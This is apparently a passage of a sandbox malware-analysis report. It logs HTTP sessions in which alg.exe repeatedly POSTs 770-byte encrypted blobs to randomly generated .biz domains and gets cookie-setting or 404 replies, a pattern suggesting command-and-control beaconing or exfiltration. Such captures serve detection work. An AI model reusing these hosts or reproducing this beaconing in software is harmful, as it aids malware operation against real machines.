Oct 28, 2024 16:40:27.769193888 CET	348	OUT	POST /ralc HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: tnevuluw.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:27.769212008 CET	770	OUT	Data Raw: a7 55 66 16 cb 0a 23 88 f6 02 00 00 ee c9 22 fc 73 2e f3 e0 36 f7 03 0d 78 b8 cd e9 ae 04 c2 f9 f2 0a 76 d6 25 af 9c b0 50 1b 15 47 ae f8 6b 1f 91 9c 6f f2 e5 36 a6 e3 aa 89 74 8c 3d e8 e7 13 41 1b 90 d1 c8 8b c1 05 25 0d 45 04 7f 65 df 5c c3 1f Data Ascii: Uf#"s.6xv%PGko6t=A%Ee\;; R'7[[j"nCxY8U~^0bU&@&k+Hxv%qq}v{?{~()XO.LQw%[mz_w=ce<T*~Ci4yf
Oct 28, 2024 16:40:28.599481106 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=13943c89bcd9b5e24b97593ce3574dae\|155.94.241.188\|1730130028\|1730130028\|0\|1\|0; path=/; domain=.tnevuluw.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.8	49980	18.141.10.107	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:28.624773026 CET	351	OUT	POST /alftwojos HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: whjovd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:28.624857903 CET	770	OUT	Data Raw: 19 77 29 9d d5 df 5e fc f6 02 00 00 ad a1 e2 c9 c9 9c 0c e0 7d 7d 91 02 49 fa c4 b5 f6 e8 45 e8 b4 4f 91 d8 fa 38 af 19 eb 5c 3e d6 96 1a bc cb d9 6e 9d 76 31 33 07 1d f4 2d 58 04 f0 61 23 da d8 ad 3a 80 d6 f9 dc 9b e0 9c 9e b0 9c 1a d6 f2 6a fb Data Ascii: w)^}}IEO8\>nv13-Xa#:jYgmFRe-C.@[RLd~*N06!YXe}05oxUn8GxA8PKEo\|\l:m=^#uV]5~xB=PQB^\|p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.8	49984	18.141.10.107	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:29.047940016 CET	357	OUT	POST /lltrpsppuyaqfwe HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: whjovd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:29.048002005 CET	770	OUT	Data Raw: 5e 65 79 71 e1 ba 1f d1 f6 02 00 00 67 e8 2a b7 57 b2 8e 96 12 01 be 82 a5 2c 21 b0 10 72 1d cb 2e d2 56 67 26 6e 16 20 98 2d 70 bf 8f ab c2 e7 87 f6 5b e0 5d f1 d3 fb eb 71 8a e3 20 c5 57 19 1a 54 47 01 d0 94 62 5f 70 52 0b 4a 7a 96 33 ed ae 02 Data Ascii: ^eyqgW,!r.Vg&n -p[]q WTGb_pRJz3p4~/wykEqqfyWrOJAxrFAOf:0<)x044(A/[:%~&<{Ce/si)3UCGQq`>
Oct 28, 2024 16:40:30.483846903 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=dae02ac92fe8a9a36cc1a6a416ba2177\|155.94.241.188\|1730130030\|1730130030\|0\|1\|0; path=/; domain=.whjovd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.8	49988	208.100.26.245	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:30.504108906 CET	361	OUT	POST /ebtlfunmljyaysos HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gjogvvpsf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:30.504159927 CET	770	OUT	Data Raw: 4f 8d a0 75 78 d4 c5 56 f6 02 00 00 f2 e3 c7 68 3a 01 48 f6 89 cb 2f 72 e0 52 a9 4a 4d 46 f9 76 b7 c0 fe ec 6d d5 1f 19 58 e1 7b 9e 5c cb 62 be 03 10 73 d1 9d 12 a7 d8 df 30 d9 ea e1 7b a3 68 4b a0 f8 c1 54 7b f6 cf 3f 13 7b ba 81 e5 03 c4 7f ec Data Ascii: OuxVh:H/rRJMFvmX{\bs0{hKT{?{`G2DO9~U&1y\e*N[5!r~ulYvrX2;fdg,PQfcnA`h~6[k<+dX)"7m9Y
Oct 28, 2024 16:40:31.150042057 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Mon, 28 Oct 2024 15:40:31 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 28, 2024 16:40:31.152846098 CET	355	OUT	POST /ornvyatmtd HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gjogvvpsf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:31.152875900 CET	770	OUT	Data Raw: f9 bf ed 92 01 cd 8e 8c f6 02 00 00 52 5a db ac 0a da 76 f9 3a a5 1f 4c 3e 75 cd 9e e8 5d 7c 4a 4f 64 c2 95 0c 0c cf 3f c3 3c 5b e6 ba 5a 79 88 b6 36 0a b2 52 64 94 8d 59 af b2 49 9f bb c0 a8 48 ef 41 64 78 fe e5 c5 0c ce f6 53 57 59 f5 0d 5f d7 Data Ascii: RZv:L>u]\|JOd?<[Zy6RdYIHAdxSWY_NoX"tYq0[&5#qmt ,4Xd,nR6Xf"$(Yi@MVvGa^oTaA~ .r{+N~lwK$R
Oct 28, 2024 16:40:31.300152063 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Mon, 28 Oct 2024 15:40:31 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.8	49992	44.221.84.105	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:31.322017908 CET	346	OUT	POST /wtg HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: reczwga.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:31.322045088 CET	770	OUT	Data Raw: 42 f5 45 06 e3 62 55 18 f6 02 00 00 7a 03 42 0f 67 8e d2 14 0d 3d 2e 3f 8c 99 91 1b 09 cf 42 84 dc a0 ed 0e dc e2 32 e3 4b df e3 a3 b5 b6 c2 e5 38 e2 37 a5 e3 11 39 4c 08 a0 ca ef be 54 f7 10 24 23 6c 75 65 00 2b 73 66 e3 d3 66 fb aa 2c 4d 92 71 Data Ascii: BEbUzBg=.?B2K879LT$#lue+sff,MqMdo7ECu9!pCI,Uc<PI2&-SS]wxy=\(V\|noXZ/a7bpQHFU
Oct 28, 2024 16:40:31.996519089 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=b7b4488b51aa62b76262b16775f32d9b\|155.94.241.188\|1730130031\|1730130031\|0\|1\|0; path=/; domain=.reczwga.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.8	49996	34.211.97.45	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:32.656135082 CET	351	OUT	POST /mvllksybj HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: bghjpy.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:32.656151056 CET	770	OUT	Data Raw: 32 2d e6 2b be ca 8c 0a f6 02 00 00 7d 05 a5 89 04 71 fc 60 cb 9f 7c a9 2f 67 92 c3 58 30 19 a5 1e c2 5c 0b 50 96 ba 1e 95 27 eb 4b 01 65 b7 65 75 64 5e 13 c7 8c 03 98 d4 4b 13 bc 1b a9 90 44 30 b3 6a 69 32 e3 d0 79 34 c5 23 cc 31 8e dd 51 21 3f Data Ascii: 2-+}q`\|/gX0\P'Keeud^KD0ji2y4#1Q!?>J@=%tXyf=)ma6r+-t89tCpr>rk=:VZ*X@Q)
Oct 28, 2024 16:40:33.482255936 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=9cdd4491fc826c4fc7bef989837fa04a\|155.94.241.188\|1730130033\|1730130033\|0\|1\|0; path=/; domain=.bghjpy.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.8	50000	18.208.156.248	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:33.503721952 CET	357	OUT	POST /bdgjgjfetlyy HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: damcprvgv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:33.503743887 CET	770	OUT	Data Raw: bb 14 47 e8 8e 6f 01 9d f6 02 00 00 c4 66 4c ee c2 20 0d ce c4 c1 a2 a9 1f c4 38 31 90 95 78 c8 15 ee e8 35 98 bf 98 2c e5 ff cc 3a 54 ba 50 b6 b9 90 78 91 cb a6 5a 90 3e 7a ce e4 8f 83 84 bd 79 62 08 56 37 ca 3c 2d 23 e4 fb 8e 83 3e 99 5d 19 5d Data Ascii: GofL 81x5,:TPxZ>zybV7<-#>]]"eRV\|FZMZ5s7#vI.!$&\wO+g^RME!)ZdRSa(.uZO-Q79V"T>"\FYE[a:~
Oct 28, 2024 16:40:34.194489002 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=7b21e875b1c0a2f04c37ba008ea71553\|155.94.241.188\|1730130034\|1730130034\|0\|1\|0; path=/; domain=.damcprvgv.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.8	50004	3.254.94.185	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:34.222048044 CET	358	OUT	POST /xrujxccjxeybqwu HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ocsvqjg.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:34.222079039 CET	770	OUT	Data Raw: 33 64 d7 d9 71 c0 be 71 f6 02 00 00 2c a6 98 f9 e7 3c 5b 48 15 47 35 cb e6 05 91 e0 84 d5 ca 43 98 9e 2b a2 a1 97 09 8a a2 fb 07 2f 36 2a c3 00 d8 6c 77 da 65 bf 9a 19 4d 7d 1b cf 31 e3 05 e2 0b 72 5b 27 37 7c 32 3f eb a3 9f 9f d3 55 63 0b b0 fa Data Ascii: 3dqq,<[HG5C+/6*lweM}1r['7\|2?Ucg&g"\cLZCg$5X ??Xuu~:R#CZha?g`DMWi5SV"T.!6/g FS&QjOna>dt
Oct 28, 2024 16:40:35.788830996 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=5c9d218fcf82f9b608c5bf3c346c0671\|155.94.241.188\|1730130035\|1730130035\|0\|1\|0; path=/; domain=.ocsvqjg.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.8	50010	54.244.188.177	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:36.536770105 CET	346	OUT	POST /anssi HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ywffr.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:36.536786079 CET	770	OUT	Data Raw: 44 c2 96 65 86 26 2a a2 f6 02 00 00 d0 ec 68 43 f2 2d 8f 05 ee a9 0c cf 3e 16 82 2e e7 43 79 63 10 7f d7 b9 2e e8 cf b2 f5 5c 6c 28 5b 2e fd a0 ff b2 7e 54 1e 00 2b f3 2d 4b 14 7a a3 aa 0d 3d d2 87 96 2e cb 23 a3 b3 1e d5 26 cc 94 40 19 e0 74 01 Data Ascii: De&*hC->.Cyc.\l([.~T+-Kz=.#&@tKOSy(lV8~w&7/c@tO]qps,jTGRC^K@t, cDq?EMm\|.KQdkf_F;4#
Oct 28, 2024 16:40:37.370613098 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=0d2243da987b46e4b5fa033861e5de50\|155.94.241.188\|1730130037\|1730130037\|0\|1\|0; path=/; domain=.ywffr.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.8	50012	54.244.188.177	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:37.395186901 CET	356	OUT	POST /dikyrvexwmkqbu HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ecxbwt.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:37.395186901 CET	770	OUT	Data Raw: 3d af 09 17 0c 82 0e d1 f6 02 00 00 79 b0 41 df e9 2f 9f 81 3b d7 e0 b5 75 ee bb ed 7e 4f e2 72 0b 94 ca 6c 64 03 64 3c b9 48 f5 e6 a8 af 76 56 8d d3 d1 71 5a 75 47 f9 a3 ae 68 25 ca 3d b8 7e c3 11 7d 07 a5 68 b3 6d 17 a4 bf 76 85 52 e1 d5 03 93 Data Ascii: =yA/;u~Orldd<HvVqZuGh%=~}hmvR{sde='4'yQaV&.+$!'\clpv.u$lHF-sL~?UL"AHlttjCB[U(<RtAFxa^Xfg H]_H
Oct 28, 2024 16:40:38.248581886 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=2d3ea818f46ea623196c3aab13ca2cc5\|155.94.241.188\|1730130038\|1730130038\|0\|1\|0; path=/; domain=.ecxbwt.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.8	50017	18.246.231.120	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:38.300470114 CET	345	OUT	POST /emxm HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: pectx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:38.300493002 CET	770	OUT	Data Raw: 17 5f d2 88 69 2e 58 5c f6 02 00 00 1c 9f 23 1b 69 ee 3f 20 3a d5 b4 5a 08 ac 14 db 87 9c 0a 9f 2d b1 f2 89 94 a3 b8 c8 8a ec 7f 66 4a 5e fa 3d 23 1f 4c ab e4 41 a9 a8 2a 79 5c 7d 52 ad 6e 1c da a8 1f fa 7a 4c 10 0a 1f 73 83 06 c3 a9 9a a1 49 1f Data Ascii: _i.X\#i? :Z-fJ^=#LAy\}RnzLsI0rE'ew9?AR(l5bf}$}q)_s}4\yT#)MU5'&6glHFSt7>>IF\|^nB)5W/[/?3*W](
Oct 28, 2024 16:40:39.132515907 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=c758aa244580df590b61950503c0e3c9\|155.94.241.188\|1730130039\|1730130039\|0\|1\|0; path=/; domain=.pectx.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.8	50022	18.208.156.248	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:39.169121981 CET	352	OUT	POST /tpqwrpyl HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: zyiexezl.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:39.169148922 CET	770	OUT	Data Raw: 88 81 95 0f 72 02 93 d1 f6 02 00 00 d5 6a c9 06 87 e1 00 24 db cc ca 4b bf 38 4c 00 3b 0c d5 85 96 d5 5e 53 08 36 bb 58 01 75 95 90 08 b5 48 ad c3 4a e3 7d 03 5c 47 d9 57 4f 0a 09 15 33 3e 98 2e 1f b0 c0 8d 56 c5 ea 71 08 ac 75 73 12 46 92 1c 32 Data Ascii: rj$K8L;^S6XuHJ}\GWO3>.VqusF2'b+F6pz=zf:_-rR$h(lO;Kfm"wy'o/\s9-[d\:iZ\|GO$;z0l};5hAOHGD D
Oct 28, 2024 16:40:39.831386089 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=c261d73f4a8e14a769aa9c17154cd11a\|155.94.241.188\|1730130039\|1730130039\|0\|1\|0; path=/; domain=.zyiexezl.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.8	50024	44.221.84.105	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:40:39.855789900 CET	349	OUT	POST /awjdluu HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: banwyw.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:39.855823994 CET	770	OUT	Data Raw: 97 44 20 16 03 7c 42 8d f6 02 00 00 f9 54 99 59 6d 79 cc 84 36 71 ea 60 6b af 48 72 19 e6 86 b6 54 a8 3a 5e 25 df ef 7a a3 d4 5d 76 f7 9d 60 57 68 d1 85 6e e2 55 ae 7b 51 ac db ed 0a 8f 35 71 e1 28 2b a0 15 85 b9 1b d5 40 8c 95 32 8e ef 27 51 66 Data Ascii: D \|BTYmy6q`kHrT:^%z]v`WhnU{Q5q(+@2'Qfu#l38@CnAu@0.Oe\|?M<cWnsmxL7OYy8%4"p`$np&Jr(0bhx$Q[b/<Tn8hc':#u%xM!^c
Oct 28, 2024 16:40:40.517921925 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:40:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=d9c7a32107035eeb96b39e73d54198d1\|155.94.241.188\|1730130040\|1730130040\|0\|1\|0; path=/; domain=.banwyw.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.8	50028	72.52.178.23	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
